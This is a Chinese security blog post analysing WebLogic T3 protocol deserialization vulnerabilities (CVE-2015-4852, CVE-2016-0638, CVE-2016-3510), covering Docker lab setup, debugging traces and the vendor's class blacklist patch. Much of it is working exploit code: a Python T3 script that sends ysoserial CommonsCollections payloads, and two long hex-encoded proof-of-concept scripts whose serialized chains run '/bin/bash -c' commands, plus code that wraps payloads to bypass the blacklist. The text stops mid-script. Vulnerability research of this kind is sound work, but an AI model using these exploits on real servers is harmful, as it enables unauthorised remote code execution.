Weblogic T3协议漏洞分析(一)
深蓝 2023-01-17 17:57 四川
前言
记录Weblogic漏洞分析过程,参考了很多师傅的分析文章,链接放在后记中。
正文
环境搭建
搭建环境参考:
https://github.com/QAX-A-Team/WeblogicEnvironment
将对应版本的JDK与Weblogic分别放入/jdks和/weblogics目录中:

Oracle官网即可下载:
https://www.oracle.com/java/technologies/downloads/archive/
https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
Oracle WebLogic Server 10.3.6支持的最低JDK版本为JDK1.6, Oracle WebLogic Server 12.1.3支持的最低JDK版本为JDK1.7,Oracle WebLogic Server 12.2.1及以上支持的最低JDK版本为JDK1.8。
Docker构建:
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
由于Centos8已与2022年底停止维护,这里需要提前跟换yum源:

RUN cd /etc/yum.repos.d/RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*
配置远程调试:
kdir ./middlewaredocker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
将docker中的主要lib目录拷贝出来,IDEA直接打开wlserver并将coherence_3.7与modules作为lib导入项目:

同时将/wlserver/server/lib目录作为lib导入:

配置remote调试端口即可:

启动调试:


T3协议:
Weblogic RMI是Weblogic对于Java RMI的实现,其主要使用Weblogic自有的T3协议和基于Corba的IIOP协议进行客户端与服务端之间的传输。
数据包中前四个字符描述数据包长度,而后为T3的协议头,同时每个标准反序列化头部aced0005前会新增一个fe010000字段:


更多内容参考:
CVE-2015-4852
影响范围:
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.2.1.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.1.2.0
漏洞分析:
找了一份sp4z师傅的脚本:
from os import popenimport struct # 负责大小端的转换import subprocessfrom sys import stdoutimport socketimport reimport binasciidef generatePayload(gadget,cmd):YSO_PATH = "/Users/.../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar"popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)return popen.stdout.read()def T3Exploit(ip,port,payload):sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)sock.connect((ip,port))handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"sock.sendall(handshake.encode())data = sock.recv(1024)compile = re.compile("HELO:(.*).0.false")match = compile.findall(data.decode())if match:print("Weblogic: "+"".join(match))else:print("Not Weblogic")returnheader = binascii.a2b_hex(b"00000000")t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")desflag = binascii.a2b_hex(b"fe010000")payload = header + t3header +desflag+ payloadpayload = struct.pack(">I",len(payload)) + payload[4:]sock.send(payload)if __name__ == "__main__":ip = "127.0.0.1"port = 7001gadget = "CommonsCollections1"cmd = "touch /tmp/success"payload = generatePayload(gadget,cmd)T3Exploit(ip,port,payload)
大概利用过程如下:


代码调试:
//wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev.readobject()private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {int var2 = var1.read();switch (var2) {case 0:return (new ServerChannelInputStream(var1)).readObject();case 1:return var1.readASCII();default:throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");}}
在此处下断点,可看到已修改后的序列化数据:

通过ServerChannelInputStream.resovleClass()方法加载类:

而ServerChannelInputStream继承自ObjectInputStream,而此处的resolveClass方法也是调用父类方法未有任何处理,故造成反序列化漏洞:

下面就是正常的反序列化利用链流程了。
引用文章中的流程图:

修复方案
Weblogic选择resolveClass中添加类黑名单用于过滤反序列化利用链中所涉及的类,在其中一个补丁包中我们可以看到这个isBlackListed方法:

来自ClassFilter,过滤反序列化攻击所使用的关键类:
package weblogic.rmi;import java.util.HashSet;import java.util.StringTokenizer;public abstract class ClassFilter {static final String BLACK_LIST_PROPERTY = "weblogic.rmi.blacklist";static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = "weblogic.rmi.disabledefaultblacklist";static final String DISABLE_BLACK_LIST_PROPERTY = "weblogic.rmi.disableblacklist";private static final String DEFAULT_BLACK_LIST = "+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure";private static final HashSet<String> BLACK_LIST = new HashSet<String>();static {if (!isBlackListDisabled()) {if (!isDefaultBlacklistEntriesDisabled())updateBlackList("+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure");updateBlackList(System.getProperty("weblogic.rmi.blacklist", null));}}private static boolean isBlackListDisabled() {return Boolean.getBoolean("weblogic.rmi.disableblacklist");}private static boolean isDefaultBlacklistEntriesDisabled() {return Boolean.getBoolean("weblogic.rmi.disabledefaultblacklist");}private static void updateBlackList(String blackList) {if (blackList != null) {StringTokenizer st = new StringTokenizer(blackList, ",");while (st.hasMoreTokens()) {String token = st.nextToken();processToken(token);}}}private static void processToken(String token) {if (token.startsWith("+")) {BLACK_LIST.add(token.substring(1));} else if (token.startsWith("-")) {BLACK_LIST.remove(token.substring(1));} else {BLACK_LIST.add(token);}}public static boolean isBlackListed(String className) {String pkgName;if (className.length() > 0 && BLACK_LIST.contains(className))return true;try {pkgName = className.substring(0, className.lastIndexOf('.'));} catch (Exception ignored) {return false;}return (pkgName.length() > 0 && BLACK_LIST.contains(pkgName));}}
这个黑名单主要作用于三个类的resolveClass方法:
weblogic.iiop.Utils.classweblogic.rjvm.MsgAbbrevInputStream.classweblogic.rjvm.InboundMsgAbbrev.class



同时也有师傅提到,开放在外网的情况下,还可以采用web代理和负载均衡。
web代理的方式只能转发HTTP的请求,而不会转发T3协议的请求,这就能防御住T3漏洞的攻击。
负载均衡的情况下,可以指定需要进行负载均衡的协议类型,这么这里就可以设置为HTTP的请求,不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。
CVE-2016-0638
影响范围:
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.2.1.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.1.2.0
漏洞分析:
上文中我们提到,补丁对weblogic.iiop.Utils.class,weblogic.rjvm.MsgAbbrevInputStream.class,weblogic.rjvm.InboundMsgAbbrev.class三个类中的反序列化过程进行了黑名单过滤,而在weblogic.jms.common.StreamMessageImpl类的readExternal方法中同样存在readObject操作:
所以我们需自定义实现一个StreamMessageImpl类。
观察其writeExternal与readExternal方法可见,我们需要自定义实现一个writeExternal逻辑将payload写入序列化过程:
public void writeExternal(ObjectOutput var1) throws IOException {super.writeExternal(var1);int var3 = Integer.MAX_VALUE;ObjectOutput var2;if (var1 instanceof MessageImpl.JMSObjectOutputWrapper) {var3 = ((MessageImpl.JMSObjectOutputWrapper)var1).getCompressionThreshold();var2 = ((MessageImpl.JMSObjectOutputWrapper)var1).getInnerObjectOutput();} else {var2 = var1;}byte var4;if (this.getVersion(var2) >= 30) {var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));} else {var4 = 2;}var2.writeByte(var4);if (this.isCompressed()) {if (var4 == 2) {this.decompress().writeLengthAndData(var2);} else {this.flushCompressedMessageBody(var2);}} else {Object var5;if (this.bos != null) {var5 = this.bos;} else {if (this.payload == null) {var2.writeInt(0);return;}var5 = this.payload;}if ((var4 & -128) != 0) {this.writeExternalCompressPayload(var2, (Payload)var5);} else {((Payload)var5).writeLengthAndData(var2);}}}public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {super.readExternal(var1);byte var2 = var1.readByte();byte var3 = (byte)(var2 & 127);if (var3 >= 1 && var3 <= 3) {switch (var3) {case 1:this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);BufferInputStream var4 = this.payload.getInputStream();ObjectInputStream var5 = new ObjectInputStream(var4);this.setBodyWritable(true);this.setPropertiesWritable(true);try {while(true) {this.writeObject(var5.readObject());}} catch (EOFException var9) {try {this.reset();this.setPropertiesWritable(false);PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();this.payload = var7;} catch (JMSException var8) {JMSClientExceptionLogger.logStackTrace(var8);}} catch (MessageNotWriteableException var10) {JMSClientExceptionLogger.logStackTrace(var10);} catch (javax.jms.MessageFormatException var11) {JMSClientExceptionLogger.logStackTrace(var11);} catch (JMSException var12) {JMSClientExceptionLogger.logStackTrace(var12);}break;case 3:if ((var2 & -128) != 0) {this.readExternalCompressedMessageBody(var1);break;}case 2:this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);}} else {throw JMSUtilities.versionIOException(var3, 1, 3);}}
参考项目代码:
https://github.com/zhzhdoai/Weblogic_Vuln
自实现一个writeExternal逻辑:
public void writeExternal(ObjectOutput var1) throws IOException {super.writeExternal(var1);ByteArrayOutputStream var2 = new ByteArrayOutputStream();ObjectOutputStream var3 = new ObjectOutputStream(var2);try {var3.writeObject("payload_here");var3.flush();} catch (IllegalAccessException e) {e.printStackTrace();} catch (InvocationTargetException e) {e.printStackTrace();} catch (InstantiationException e) {e.printStackTrace();} catch (NoSuchMethodException e) {e.printStackTrace();} catch (ClassNotFoundException e) {e.printStackTrace();}byte[] var5 = var2.toByteArray();var1.writeByte(1);var1.writeInt(var5.length);var1.write(var5);}
为方便调试稍微改了一下weblogicScaner的poc:
import binasciiimport socketimport structimport subprocessimport timefrom multiprocessing.managers import SyncManagerfrom typing import Any, Dict, List, Mapping, Tuple, Unionfrom stars import target_type, Stardef light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -> (bool, dict):# T3协议握手dport = int(dport)sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.settimeout(timeout)try:sock.connect((dip, dport))except socket.timeout:return False, {'msg': 'connection timeout.'}except ConnectionRefusedError:return False, {'msg': 'connection refuse.'}sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))time.sleep(delay)sock.recv(1024)# 构造T3协议头data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))data3 = '1a7727000d3234322e323134'data4 = '2e312e32353461863d1d0000000078'for d in [data1, data2, data3, data4]:sock.send(bytes.fromhex(d))payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'# -------- 经StreamMessageImpl封装的反序列化利用链payload --------payload += 'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78'# ------------------------------------------------------payload += 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'payload = '%s%s' % ('{:08x}'.format(len(payload) // 2 + 4), payload)sock.send(bytes.fromhex(payload))time.sleep(delay)try:res = sock.recv(4096)print(res)return b'weblogic.jms.common.StreamMessageImpl' in res, {'msg': 'finish.'}except socket.timeout:return False, {'msg': 'connection timeout.'}if __name__ == "__main__":ip = "127.0.0.1"port = 7001light_up(dip=ip,dport=port)
跟一下代码:
readExternal:1396, StreamMessageImpl (weblogic.jms.common)readExternalData:1835, ObjectInputStream (java.io)readOrdinaryObject:1794, ObjectInputStream (java.io)readObject0:1348, ObjectInputStream (java.io)readObject:370, ObjectInputStream (java.io)readObject:66, InboundMsgAbbrev (weblogic.rjvm)read:38, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)init:213, MsgAbbrevInputStream (weblogic.rjvm)dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:967, SocketMuxer (weblogic.socket)readReadySocket:899, SocketMuxer (weblogic.socket)processSockets:130, PosixSocketMuxer (weblogic.socket)run:29, SocketReaderRequest (weblogic.socket)execute:42, SocketReaderRequest (weblogic.socket)execute:145, ExecuteThread (weblogic.kernel)run:117, ExecuteThread (weblogic.kernel)
同样通过InboundMsgAbbrev为入口进行数据的read操作,但由于我们实现了StreamMessageImpl接口,反序列化过程将通过readOrdinaryObject方法调用readExternalData,进而进入到StreamMessageImpl.readExternal中绕过黑名单检测触发二次反序列化。
从流量特征上看并无太多变化,主要还是weblogic.jms.common.StreamMessageImpl类的出现,而weblogicScaner也是基于response来判断vulnerability:
CVE-2016-3510
影响范围:
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.2.1.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.1.2.0
漏洞分析:
同样是对补丁黑名单的绕过,这次使用的是weblogic.corba.utils.MarshalledObject这个类:
public MarshalledObject(Object var1) throws IOException {if (var1 == null) {this.hash = 13;} else {ByteArrayOutputStream var2 = new ByteArrayOutputStream();MarshalledObjectOutputStream var3 = new MarshalledObjectOutputStream(var2);var3.writeObject(var1);var3.flush();this.objBytes = var2.toByteArray();int var4 = 0;for(int var5 = 0; var5 < this.objBytes.length; ++var5) {var4 = 31 * var4 + this.objBytes[var5];}this.hash = var4;}}public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {if (this.objBytes == null) {return null;} else {ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);ObjectInputStream var2 = new ObjectInputStream(var1);Object var3 = var2.readObject();var2.close();return var3;}}
MarshalledObject并未重写readObject方法或实现readExternal方法,使用原生的ObjectInputStream方法实现反序列化。
weblogic.corba.utils.MarshalledObject marshalledObject = new MarshalledObject(payload_here);直接用MarshalledObject的构造方法生成对象,封装反序列化流:
还是使用上文中的poc脚本:
import binasciiimport socketimport structimport subprocessimport timefrom multiprocessing.managers import SyncManagerfrom typing import Any, Dict, List, Mapping, Tuple, Unionfrom stars import target_type, Stardef light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -> (bool, dict):# T3协议握手dport = int(dport)sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.settimeout(timeout)try:sock.connect((dip, dport))except socket.timeout:return False, {'msg': 'connection timeout.'}except ConnectionRefusedError:return False, {'msg': 'connection refuse.'}sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))time.sleep(delay)sock.recv(1024)# 构造T3协议头data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))data3 = '1a7727000d3234322e323134'data4 = '2e312e32353461863d1d0000000078'for d in [data1, data2, data3, data4]:sock.send(bytes.fromhex(d))payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'# -------- 经MarshalledObject封装的反序列化利用链payload --------payload += 'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78'# ------------------------------------------------------payload += 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'payload = '%s%s' % ('{:08x}'.format(len(payload) // 2 + 4), payload)sock.send(bytes.fromhex(payload))time.sleep(delay)try:res = sock.recv(4096)print(res)return b'org.apache.commons.collections.functors.InvokerTransformer' in res, {'msg': 'finish.'}except socket.timeout:return False, {'msg': 'connection timeout.'}if __name__ == "__main__":ip = 